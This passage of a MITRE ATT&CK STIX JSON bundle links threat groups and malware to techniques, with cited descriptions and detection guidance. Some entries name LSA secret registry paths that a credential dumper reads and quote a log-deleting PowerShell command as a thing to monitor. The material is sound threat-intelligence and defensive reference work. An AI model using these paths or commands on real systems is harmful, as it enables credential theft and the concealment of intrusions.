systems.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21ebcd72-cb89-4d26-82b7-4d17843034c5","type":"relationship","created":"2020-05-13T19:39:41.729Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T00:58:30.362Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious links via email trick users into opening a RAR archive and running an executable.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21ef7a27-1019-4ced-8a09-63351bbbc150","created":"2022-04-11T16:08:28.243Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exfiltrated stolen data to Dropbox.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:08:28.243Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21f22e98-2825-4cff-a7a7-df6eba18ddb1","created":"2024-05-06T18:54:24.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-06T19:04:30.613Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used tailored spearphishing emails to gather victim information including contat lists to identify additional targets.(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21f2fd40-073c-4c25-bf4e-19339ac1f99d","type":"relationship","created":"2020-03-20T00:22:39.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-20T00:22:39.377Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21f5a441-fe32-430e-935c-0929f4101b6e","created":"2022-06-13T15:25:08.803Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can collect the GUID of a targeted machine.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:22:37.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21f6253e-77e6-47ee-a9bb-c4900d871727","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for changes made to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21f9567c-18c5-41b2-9b57-bb2c039b5293","type":"relationship","created":"2020-01-24T17:35:47.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T17:35:47.843Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--21fa2533-b082-408b-857c-ad6d85a74238","created":"2022-07-26T20:33:50.734Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022)'s Credential Dumper module can dump LSA secrets from registry keys, including: `HKLM\\SECURITY\\Policy\\PolEKList\\default`, `HKLM\\SECURITY\\Policy\\Secrets\\*\\CurrVal`, and `HKLM\\SECURITY\\Policy\\Secrets\\*\\OldVal`.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-07-26T20:33:50.734Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21fdaa87-7b0e-4ad9-a612-c4d2ec8789d7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-18T20:41:26.970Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can obtain the permissions of the victim user.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--21fdb8cc-baed-4b9a-871e-f74dc0f0f2d9","created":"2022-09-08T13:47:45.093Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:47:45.093Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used compromised VPN accounts to gain access to victim systems.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21ff06b5-022f-40bf-821b-3e08dc9f08a3","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T15:34:54.747Z","description":"[Poseidon Group](https://attack.mitre.org/groups/G0033) obtains and saves information about victim network interfaces and addresses.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2202d670-a6f3-42eb-ae1b-1ae615c3b620","created":"2022-01-07T16:19:16.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.674Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has compressed and encrypted data prior to exfiltration.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22067fc3-6919-41b5-b506-4a00830af5c4","type":"relationship","created":"2020-12-02T14:57:47.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."}],"modified":"2021-09-13T18:33:56.410Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can collect the network interface MAC address on the infected host.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2209a958-9359-4866-80e9-80d0cc660868","type":"relationship","created":"2019-04-17T18:43:36.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2020-03-19T17:09:03.651Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses Python scripts.(Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2211dd80-6ab2-4d3b-90fd-3ae19e75b64f","created":"2022-10-04T21:41:05.083Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:41:05.083Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) has sent stolen credentials and other data to its C2 server.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2212e364-d161-49ba-9a3f-a4e9e2260b2e","type":"relationship","created":"2021-06-21T18:31:00.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-06-21T18:31:00.977Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has the ability to encrypt system data and add the \".cuba\" extension to encrypted files.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--221d9c96-0042-4354-8475-4cc7d0437254","type":"relationship","created":"2020-08-04T19:13:50.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-04T19:13:50.028Z","description":"[REvil](https://attack.mitre.org/software/S0496) can connect to and disable the Symantec server on the victim's network.(Citation: Cylance Sodinokibi July 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--22215706-6254-4c24-8ca0-39a770b23ec9","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:18:33.808Z","description":"Monitor executed commands and arguments for actions that would delete Windows event logs (via PowerShell) such as Remove-EventLog -LogName Security.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on attempts to Clear Windows Event Logs. In particular, Powershell has a built-in Clear-EventLog cmdlet that allows for a specified log to be cleared. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2222e5f7-a027-4823-ab58-038d006f98bf","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22260fda-fb95-4cf4-9e23-ba8662157c1f","type":"relationship","created":"2019-01-29T21:40:37.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:09:54.750Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) creates an autostart Registry key to ensure persistence.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2227a2ce-2eda-4fe3-a9ca-524e0de0ded2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-24T23:55:43.269Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) can save a new file to the system from the C2 server.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--222ce94a-bb33-476b-b4c3-56b529d9af03","type":"relationship","created":"2020-05-12T21:44:41.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-15T18:47:04.397Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered a list of installed software on the infected host.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--222fdbe3-5833-4be9-aa45-b85087606dc1","created":"2022-10-11T18:44:48.650Z","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:44:48.650Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can use a variety of APIs for execution.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--22301618-a676-4d94-975a-2a56e5a7f919","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.524Z","description":"[CozyCar](https://attack.mitre.org/software/S0046)'s main method of communicating with its C2 servers is using HTTP or HTTPS.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--223a75cd-eb8f-4477-b4c3-e2a4e651d875","type":"relationship","created":"2021-07-30T15:54:30.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bishop Fox Sliver Framework August 2019","url":"https://labs.bishopfox.com/tech-blog/sliver","description":"Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."},{"source_name":"GitHub Sliver C2","url":"https://github.com/BishopFox/sliver/","description":"BishopFox. (n.d.). Sliver. Retrieved September 15, 2021."}],"modified":"2021-09-16T20:22:34.703Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can inject code into local and remote processes.(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--223b8d4b-97e9-4581-91aa-a599fb787309","type":"relationship","created":"2020-06-29T01:50:21.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.487Z","description":"[Regin](https://attack.mitre.org/software/S0019) has used a hidden file system to store some of its components.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2243acac-6401-41df-b658-2a36f7977d15","type":"relationship","created":"2020-07-23T14:20:48.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 